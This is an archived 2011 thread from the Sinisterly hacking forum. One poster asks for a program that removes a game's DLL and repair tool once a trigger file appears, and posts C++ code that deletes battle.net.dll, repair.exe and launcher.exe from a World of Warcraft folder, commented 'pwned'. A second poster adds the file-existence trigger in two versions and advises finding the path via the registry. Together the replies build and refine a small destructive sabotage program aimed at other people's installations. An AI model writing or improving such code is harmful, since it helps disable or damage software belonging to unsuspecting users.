![]() |
|
A simple question. - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: C, C++, & Obj-C (https://sinister.ly/Forum-C-C-Obj-C) +--- Thread: A simple question. (/Thread-A-simple-question) |
A simple question. - Fuckedyouover - 07-30-2011 Just wondering if this would be possible in C++ or if VB was better for it. Say, I have a game where there is a specific .dll in the games directory that it needed to run, and it has a repair application. What I was wondering is would it be possible that when a file with the specific name was added to that directory the program would either remove the .dll and the repair program or corrupt them and make them not able to be run. Would something along these lines be possible? RE: A simple question. - Frooxius - 08-03-2011 Of course it would, C++ is general purpose language, meaning you can do almost anything with it, unless it defies capabilities of the hardware (for example, unless you have a jet engine connected to some interface, C/C++ or any other code won't be able to make your PC fly :lol: ). Some things might be extremely tedious to achieve, but still technically possible, however what you mentioned shouldn't be a problem at all. RE: A simple question. - Fuckedyouover - 08-04-2011 (08-03-2011, 11:53 AM)Frooxius Wrote: Of course it would, C++ is general purpose language, meaning you can do almost anything with it, unless it defies capabilities of the hardware (for example, unless you have a jet engine connected to some interface, C/C++ or any other code won't be able to make your PC fly :lol: ). Yeah, I made it. Here is the code: Code: #include <cstdlib>
#include <iostream>
using namespace std;
int main(int argc, char *argv[])
{
std::remove("C:\\Program Files (x86)\\World of Warcraft\\battle.net.dll"); //pwned
std::remove("C:\\Program Files (x86)\\World of Warcraft\\repair.exe"); //lol pwned
std::remove("C:\\Program Files (x86)\\World of Warcraft\\launcher.exe"); //PWNAGE TIME
return EXIT_SUCCESS;
}How would I made it where this would only occur if a certain file was there? RE: A simple question. - Frooxius - 08-04-2011 You simply add an condition, that checks for the existence of the file. You can do that by trying to open the file using standard C/C++ library and checking if it fails, like this: Version that uses new C++ object oriented libraries. Code: // #include <cstdlib> shouldn't be needed, remove should already be included using <iostream>
#include <iostream>
#include <fstream>
using namespace std; // when you write this, you don't have to write std:: before every function (or other identifiers), because this makes it implicit
int main(int argc, char *argv[])
{
ifstream file = ifstream("filename.ext"); // try to open the file
if(file) // if file was opened sucessfully, this condition will be true and code in the brackets will be executed, otherwise, it will be skipped
{
remove("C:\\Program Files (x86)\\World of Warcraft\\battle.net.dll"); //pwned
remove("C:\\Program Files (x86)\\World of Warcraft\\repair.exe"); //lol pwned
remove("C:\\Program Files (x86)\\World of Warcraft\\launcher.exe"); //PWNAGE TIME
file.close(); // don't forget to close it after you open it
}
return EXIT_SUCCESS;
}Version that uses C-like libraries, but it's still C++, but can be converted to standard C easily (swap <cstdlib> for <stdlib.h> and <cstdio> for <stdio.h> and remove the using namespace declaration) Code: #include <cstdlib>
#include <cstdio>
using namespace std; // when you write this, you don't have to write std:: before every function (or other identifiers), because this makes it implicit
int main(int argc, char *argv[])
{
FILE *file = fopen("filename.ext", "r"); // try to open the file for reading (the "r"), using the input file stream (ifstream)
if(file) // if file was opened sucessfully, this condition will be true and code in the brackets will be executed, otherwise, it will be skipped
{
remove("C:\\Program Files (x86)\\World of Warcraft\\battle.net.dll"); //pwned
remove("C:\\Program Files (x86)\\World of Warcraft\\repair.exe"); //lol pwned
remove("C:\\Program Files (x86)\\World of Warcraft\\launcher.exe"); //PWNAGE TIME
fclose(file); // don't forget to close it after you open it
}
return EXIT_SUCCESS;
}There are also functions (in various libraries and APIs) that are specifically designed for checking if file exists, however these are not part of standard C/C++ library and thus might not work everywhere and are often operating system specific (though you're obviously running on Windows). Also, it's discouraged to use absolute paths (rather find the path to the specific application (or game in your case) for example by retrieving data from the registry), because if the files are located elsewhere, your code won't work. |